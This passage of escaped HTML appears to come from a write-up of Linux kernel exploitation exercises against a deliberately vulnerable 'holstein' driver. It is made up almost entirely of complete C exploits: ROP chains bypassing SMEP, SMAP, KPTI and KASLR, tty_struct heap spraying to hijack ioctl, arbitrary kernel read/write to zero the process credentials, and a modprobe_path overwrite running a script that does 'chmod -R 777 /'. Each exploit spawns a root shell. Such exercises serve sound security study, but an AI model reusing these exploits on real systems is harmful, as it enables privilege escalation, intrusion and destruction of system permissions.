      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
#if USER_LOG == 1
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

static void restore_state() {
  asm volatile(
      &amp;#34;swapgs;\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x20], %[u_ss];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x18], %[u_sp];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x10], %[u_rflags];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x08], %[u_cs];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x00], %[u_ret];\n&amp;#34;
      &amp;#34;iretq;\n&amp;#34; ::[u_cs] &amp;#34;r&amp;#34;(user_cs),
      [u_ss] &amp;#34;r&amp;#34;(user_ss), [u_sp] &amp;#34;r&amp;#34;(user_sp), [u_rflags] &amp;#34;r&amp;#34;(user_rflags),
      [u_ret] &amp;#34;r&amp;#34;(get_shell));
}

static void escalate_privilege() {
  void* (*prepare_kernel_cred)(int) = (void*)(PREPARE_KERNEL_CRED);
  void (*commit_creds)(char*) = (void*)(COMMIT_CREDS);
  commit_creds(prepare_kernel_cred(0));
  restore_state();
}

static __attribute__((naked)) void get_kernel_base_and_escalate_privilege() {
  asm(&amp;#34;mov %[k_base], qword ptr [rsp];\n&amp;#34; : [k_base] &amp;#34;=r&amp;#34;(kernel_base));
  kernel_base -= 0x1506B9;
  asm(&amp;#34;jmp %[escalate_privilege];\n&amp;#34;
      :
      : [escalate_privilege] &amp;#34;i&amp;#34;(escalate_privilege));
}

int main() {
  char buf[2 * VULN_BUFFER_SIZE] = {0};
  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    return -1;
  }
  save_state();

  {
    memset(buf, &amp;#39;A&amp;#39;, VULN_BUFFER_SIZE);
    uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
    *rop_buf++ = 0xdeadbeefcafebebe;
    *rop_buf++ = (uint64_t)(get_kernel_base_and_escalate_privilege);
  }
  write(fd, buf, VULN_BUFFER_SIZE + 0x10);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;462381597&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;462381597&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_with_smep_smap.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define USER_LOG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define POP_RDI 0xffffffff8127bbdc
#define PREPARE_KERNEL_CRED 0xffffffff8106e240
#define XOR_RCX_RCX 0xffffffff810abef0
#define MOV_RDI_RAX_REP 0xffffffff8160c96b
#define COMMIT_CREDS 0xffffffff8106e390
#define SWAPGS 0xffffffff8160bf7e
#define IRETQ 0xffffffff810202af

uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
#if USER_LOG == 1
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

int main() {
  char buf[2 * VULN_BUFFER_SIZE] = {0};
  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    return -1;
  }
  save_state();

  memset(buf, &amp;#39;A&amp;#39;, VULN_BUFFER_SIZE);
  uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
  *rop_buf++ = 0xdeadbeefcafebebe;
  *rop_buf++ = (uint64_t)(POP_RDI);
  *rop_buf++ = 0;
  *rop_buf++ = (uint64_t)(PREPARE_KERNEL_CRED);
  *rop_buf++ = (uint64_t)(XOR_RCX_RCX);
  *rop_buf++ = (uint64_t)(MOV_RDI_RAX_REP);
  *rop_buf++ = (uint64_t)(COMMIT_CREDS);
  *rop_buf++ = (uint64_t)(SWAPGS);
  *rop_buf++ = (uint64_t)(IRETQ);
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);
  write(fd, buf, (uint64_t)rop_buf - (uint64_t)buf);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;259486371&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;259486371&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_with_smep_smap_kpti_kaslr.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define USER_LOG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define POP_RDI_OFFSET (0xffffffff8127bbdc - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff8106e240 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define XOR_RCX_RCX_OFFSET (0xffffffff810abef0 - KERNEL_BASE)
#define XOR_RCX_RCX (kernel_base + XOR_RCX_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8160c96b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff8106e390 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET (0xffffffff81800e26 - KERNEL_BASE)
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

uint64_t kernel_base;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
#if USER_LOG == 1
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

int main() {
  char buf[2 * VULN_BUFFER_SIZE] = {0};
  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    return -1;
  }
  save_state();

  read(fd, buf, sizeof(buf));
  kernel_base = ((uint64_t*)buf)[0x408 / 8] - 0x13d33c;
#if USER_LOG == 1
  printf(&amp;#34;[*] kernel_base: 0x%lx\n&amp;#34;, kernel_base);
#endif

  memset(buf, &amp;#39;A&amp;#39;, VULN_BUFFER_SIZE);
  uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
  *rop_buf++ = 0xdeadbeefcafebebe;
  *rop_buf++ = (uint64_t)(POP_RDI);
  *rop_buf++ = 0;
  *rop_buf++ = (uint64_t)(PREPARE_KERNEL_CRED);
  *rop_buf++ = (uint64_t)(XOR_RCX_RCX);
  *rop_buf++ = (uint64_t)(MOV_RDI_RAX_REP);
  *rop_buf++ = (uint64_t)(COMMIT_CREDS);
  *rop_buf++ = (uint64_t)(BYPASS_KPTI);
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);
  write(fd, buf, (uint64_t)rop_buf - (uint64_t)buf);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;lk01-2-holstein-v2-heap-overflow&#34;&gt;LK01-2 (Holstein v2: Heap Overflow)&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;821376549&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;821376549&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_tty_struct.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define PUSH_RDX_POP_RSP_R13_RBP_OFFSET (0xffffffff813a478a - KERNEL_BASE)
#define PUSH_RDX_POP_RSP_R13_RBP (kernel_base + PUSH_RDX_POP_RSP_R13_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff810d748d - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81074650 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff8113c1c4 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8162707b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff810744b0 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

uint64_t kernel_base, g_buf_addr;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
#if PRINT_DEBUG == 1
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char *argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char *envp[] = {NULL};
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  save_state();

  int tty_spray[100];
  for (int i = 0; i &amp;lt; 50; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      return -1;
    }
  }

  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    return -1;
  }

  for (int i = 50; i &amp;lt; 100; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
#if PRINT_DEBUG == 1
  if (kernel_base &amp;amp; 0xFFFFFF != 0) {
    printf(&amp;#34;[-] Failed to leak kernel base\n&amp;#34;);
    return -1;
  }
  if (g_buf_addr &amp;amp; 0xFF != 0) {
    printf(&amp;#34;[-] Failed to leak g_buf base\n&amp;#34;);
    return -1;
  }
  printf(&amp;#34;[*] kernel_base: %p\n&amp;#34;, (void *)kernel_base);
  printf(&amp;#34;[*] g_buf_addr: %p\n&amp;#34;, (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = PUSH_RDX_POP_RSP_R13_RBP;  // overwrite ioctl
  *rop_buf++ = POP_RDI;
  *rop_buf++ = 0;
  *rop_buf++ = PREPARE_KERNEL_CRED;
  *rop_buf++ = POP_RCX;
  *rop_buf++ = 0;
  *rop_buf++ = MOV_RDI_RAX_REP;
  *rop_buf++ = COMMIT_CREDS;
  *rop_buf++ = BYPASS_KPTI;
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);

  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

  for (int i = 0; i &amp;lt; 100; ++i) {
    ioctl(tty_spray[i], 0x00, g_buf_addr - 0x08 * 2 + 0x08);
  }

  close(fd);
  for (int i = 0; i &amp;lt; 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;386257194&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;386257194&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_cred.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/prctl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)

uint64_t kernel_base, g_buf_addr;

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  int tty_spray[100];
  for (int i = 0; i &amp;lt; 50; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      printf(&amp;#34;[-] Failed to open tty\n&amp;#34;);
      return -1;
    }
  }

  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    printf(&amp;#34;[-] Failed to open &amp;#34; VULN_DEVICE_NAME &amp;#34;\n&amp;#34;);
    return -1;
  }

  for (int i = 50; i &amp;lt; 100; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      printf(&amp;#34;[-] Failed to open tty\n&amp;#34;);
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
  if (kernel_base &amp;amp; 0xFFFFFF != 0) {
    printf(&amp;#34;[-] Failed to leak kernel base\n&amp;#34;);
    return -1;
  }
  if (g_buf_addr &amp;amp; 0xFF != 0) {
    printf(&amp;#34;[-] Failed to leak g_buf base\n&amp;#34;);
    return -1;
  }
#if PRINT_DEBUG == 1
  printf(&amp;#34;[*] kernel_base: %p\n&amp;#34;, (void *)kernel_base);
  printf(&amp;#34;[*] g_buf_addr: %p\n&amp;#34;, (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = 0xdeadbeefcafebebe;  // overwrite ioctl
  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR)          \
  ({                                       \
    *(uint64_t *)(buf) = (uint64_t)(ADDR); \
    write(fd, buf, sizeof(buf));           \
  })
  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t modified_tty_fd = 0;
  for (int i = 0; i &amp;lt; 100; ++i) {
    if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
      modified_tty_fd = tty_spray[i];
      break;
    }
  }
#define AAW32(ADDR, VAL)                                  \
  ({                                                      \
    ioctl(modified_tty_fd, (uint32_t)(VAL),               \
          (uint64_t)(ADDR)); /*RCX &amp;lt;- ARG1, RDX &amp;lt;- ARG2*/ \
  })
#define AAR32(ADDR)                                                \
  ({                                                               \
    uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
    ret;                                                           \
  })

  const char kEvilProcessName[] = &amp;#34;uniguri&amp;#34;;
  if (prctl(PR_SET_NAME, kEvilProcessName) == -1) {
    printf(&amp;#34;[-] Failed to set process name\n&amp;#34;);
    return -1;
  }

  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t cur_task_addr = 0;
  for (uint64_t cur_addr = g_buf_addr - 0x1000000;; cur_addr += 8) {
    uint32_t val = AAR32(cur_addr);
#if PRINT_DEBUG == 1
    if ((cur_addr &amp;amp; 0xfffff) == 0) {
      printf(&amp;#34;[*] Searching 0x%016lx...\n&amp;#34;, cur_addr);
    }
#endif

    if (val == *(uint32_t *)(kEvilProcessName)) {
      val = AAR32(cur_addr + 0x04);
      if (val == *(uint32_t *)(kEvilProcessName + 4)) {
        cur_task_addr = cur_addr;
#if PRINT_DEBUG == 1
        printf(&amp;#34;[+] Found current task name(%s): 0x%016lx\n&amp;#34;, kEvilProcessName,
               cur_task_addr);
#endif
        break;
      }
    }
  }
  if (cur_task_addr == 0) {
    printf(&amp;#34;[-] Failed to find current task\n&amp;#34;);
    return -1;
  }

  uint64_t cur_task_cred =
      AAR32(cur_task_addr - 8) | ((uint64_t)AAR32(cur_task_addr - 4) &amp;lt;&amp;lt; 32);
#if PRINT_DEBUG == 1
  printf(&amp;#34;[*] current_task_cred: 0x%016lx\n&amp;#34;, cur_task_cred);
#endif

  SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
  for (int i = 1; i &amp;lt; 9; ++i) {
    AAW32(cur_task_cred + 0x4 * i, 0);
  }

  puts(&amp;#34;[+] Get shell!&amp;#34;);
  system(&amp;#34;/bin/sh&amp;#34;);

#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32

  close(fd);
  for (int i = 0; i &amp;lt; 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;569318274&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;569318274&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_modprobe_path.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)
#define MODPROB_PATH_OFFSET (0xffffffff81e38180 - KERNEL_BASE)
#define MODPROBE_PATH_ADDR (kernel_base + MODPROB_PATH_OFFSET)

uint64_t kernel_base, g_buf_addr;

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  int tty_spray[100];
  for (int i = 0; i &amp;lt; 50; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      return -1;
    }
  }

  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    return -1;
  }

  for (int i = 50; i &amp;lt; 100; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
#if PRINT_DEBUG == 1
  if (kernel_base &amp;amp; 0xFFFFFF != 0) {
    printf(&amp;#34;[-] Failed to leak kernel base\n&amp;#34;);
    return -1;
  }
  if (g_buf_addr &amp;amp; 0xFF != 0) {
    printf(&amp;#34;[-] Failed to leak g_buf base\n&amp;#34;);
    return -1;
  }
  printf(&amp;#34;[*] kernel_base: %p\n&amp;#34;, (void *)kernel_base);
  printf(&amp;#34;[*] g_buf_addr: %p\n&amp;#34;, (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = 0xdeadbeefcafebebe;  // overwrite ioctl
  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR)          \
  ({                                       \
    *(uint64_t *)(buf) = (uint64_t)(ADDR); \
    write(fd, buf, sizeof(buf));           \
  })
  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t modified_tty_fd = 0;
  for (int i = 0; i &amp;lt; 100; ++i) {
    if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
      modified_tty_fd = tty_spray[i];
      break;
    }
  }
#define AAW32(ADDR, VAL)                                  \
  ({                                                      \
    ioctl(modified_tty_fd, (uint32_t)(VAL),               \
          (uint64_t)(ADDR)); /*RCX &amp;lt;- ARG1, RDX &amp;lt;- ARG2*/ \
  })
#define AAR32(ADDR)                                                \
  ({                                                               \
    uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
    ret;                                                           \
  })

  const char kRunEvilCmd[] = &amp;#34;/tmp/evil.sh&amp;#34;;
  SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
  for (int i = 0; i &amp;lt; sizeof(kRunEvilCmd); i += 4) {
    AAW32(MODPROBE_PATH_ADDR + i, *(uint32_t *)(kRunEvilCmd + i));
  }

  system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
  system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
  system(&amp;#34;echo -e &amp;#39;\xde\xad\xbe\xef&amp;#39; &amp;gt; /tmp/pwn&amp;#34;);
  system(&amp;#34;chmod +x /tmp/pwn&amp;#34;);
  system(&amp;#34;/tmp/pwn&amp;#34;);

#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32

  close(fd);
  for (int i = 0; i &amp;lt; 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;452697183&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;452697183&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_poweroff_cmd.c&lt;/span&gt;
